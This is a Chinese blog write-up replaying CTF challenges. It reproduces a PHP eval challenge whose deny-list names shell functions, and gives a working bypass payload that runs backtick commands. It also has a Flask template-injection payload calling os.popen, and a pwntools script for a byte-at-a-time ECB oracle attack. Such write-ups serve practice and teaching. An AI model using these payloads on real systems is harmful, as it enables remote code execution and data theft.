记一次比赛复现

WEB

super_php

<?php
error_reporting(E_NOTICE);
highlight_file(__FILE__);
@session_start();
$username = @$_GET['username'];
if(!@isset($username['admin'])||$username['admin'] != @md5($_SESSION['username']))
{die('error!');}

else{
if(isset($_GET['admin']))
{       
    $admin = $_GET['admin'];
    $admin = addslashes($admin);

if(preg_match('/\{openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|file_put_contents|fwrite|curl|system|eval|assert|flag|passthru|exec|system|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore([^}]+)\}/i' , $admin))

{die('error!');}

if (intval($admin))
    
{eval('"' .$admin .('"./hint.php"') .')}}";');}

}

else

{eval('$flag="' .$admin . '";');}

}

?>

看一下第一个 if 判断,解读一下就是 username[admin] 存在,并且 username[admin] 等于 md5($_SESSION[‘username’])

一开始以为要伪造 session,毕竟 session 的值是不可以控制的,但是可以换一个思路来,就是让 md5($_SESSION[‘username’]) 的值为空,注意的是 md5 加密的工具是不能加密空的,但是 php 可以

<?
var_dump(md5(""));
?>
php test.php
C:\Users\q2723\Desktop\test.php:2:
string(32) "d41d8cd98f00b204e9800998ecf8427e"

这样就构造出来 payload 的前半部分,后边的就相对简单了,只要构造命令并闭合括号就可以

最终 payload

?username[admin]=d41d8cd98f00b204e9800998ecf8427e&admin=9${`cat%20/f???`};${require(

super_flask

上来就是个登录页面,既然是 flask ssti 那自然是标配了,首先需要找到注入点,使用 burp 抓登录包爆破密码

admin
123456

登录成功,在 /admin 注释找到提示

记一次比赛复现

显然这就是了,简单 fuzz 下发现,两个 {{}} 替换为 {}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LbvEIxej-1632030694529)(https://gitee.com/q_one/oceanpic/raw/master/img2021-/OR83O66FUIVX%S[RX4E7LY.png)]

只要添加一对花括号就行了,flag 在 /tmp 目录下

{{% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /tmp/flag').read()"))%}}

MISC

sdnisc

一张 png 图片,试了 png 常见套路,无果

正确打开方式 Java 盲水印

图形化工具-不是很清楚而且需要调

记一次比赛复现

命令行工具-下载链接

使用命令

 java -jar .\BlindWatermark.jar decode -c .\flag.png output.png

记一次比赛复现

比较清楚

CRYPTO

#!/usr/bin/python
# -*- coding:utf-8 -*-
# author:nothing

import string, re, random
import os 
from hashlib import sha256
from binascii import unhexlify, hexlify
from pwn import *
from Crypto.Util.number import *

io = remote("101.34.215.5", 6666)

def passpow():
	msg = io.recvuntil(b"Give me XXXX:").strip().decode()
	bottom = re.findall(r"\+(.*?)\)",msg)[0]
	res = re.findall(r" == (.*?)\n",msg)[0]
	print(res)
	while True:
		answer = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(4))
		cipher = sha256((answer + bottom).encode()).hexdigest()
		if cipher == res.strip():
			print(answer)
			io.sendline(answer)
			break

def solve_step_4(level, known):
	print "Level %s" % str(level)
	if(level == 16):
		return known
	records = []
	for i in range(256):
		io.recvuntil(b"Give me your choice: ")
		io.sendline("1")
		io.recvuntil("Give me your input (in hex): ")
		tmpstr = ('a'*(15-level) + known + chr(i)).encode('hex')
		io.sendline(tmpstr)
		io.recvuntil("encrypted msg: ")
		s = io.recvuntil("\n")[:-1].decode()[:32]
		print "Process: %s/256 %s %s" % (str(i), tmpstr, s)
		records.append(s)
	io.recvuntil(b"Give me your choice: ")
	io.sendline("1")
	io.recvuntil("Give me your input (in hex): ")
	tmpstr = ('a'*(15-level)).encode('hex')
	io.sendline(tmpstr)
	io.recvuntil("encrypted msg: ")
	s = io.recvuntil("\n")[:-1].decode()[:32]
	newknown = known + chr(records.index(s))
	print "==========================="
	print newknown.encode('hex')
	print "==========================="
	return solve_step_4(level+1, newknown)



if __name__ == '__main__':
	passpow()
	secret = solve_step_4(0,"")
	io.recvuntil(b"Give me your choice: ")
	io.sendline("2")
	io.recvuntil("Give me your secret: ")
	io.sendline(hexlify(secret))
	flag = io.recvuntil("\n")[:-1].decode()
	print flag

狗头保命,人菜只能多复现。。。

上一篇:HMS Core 5,讲的真透彻


下一篇:消息队列[转载]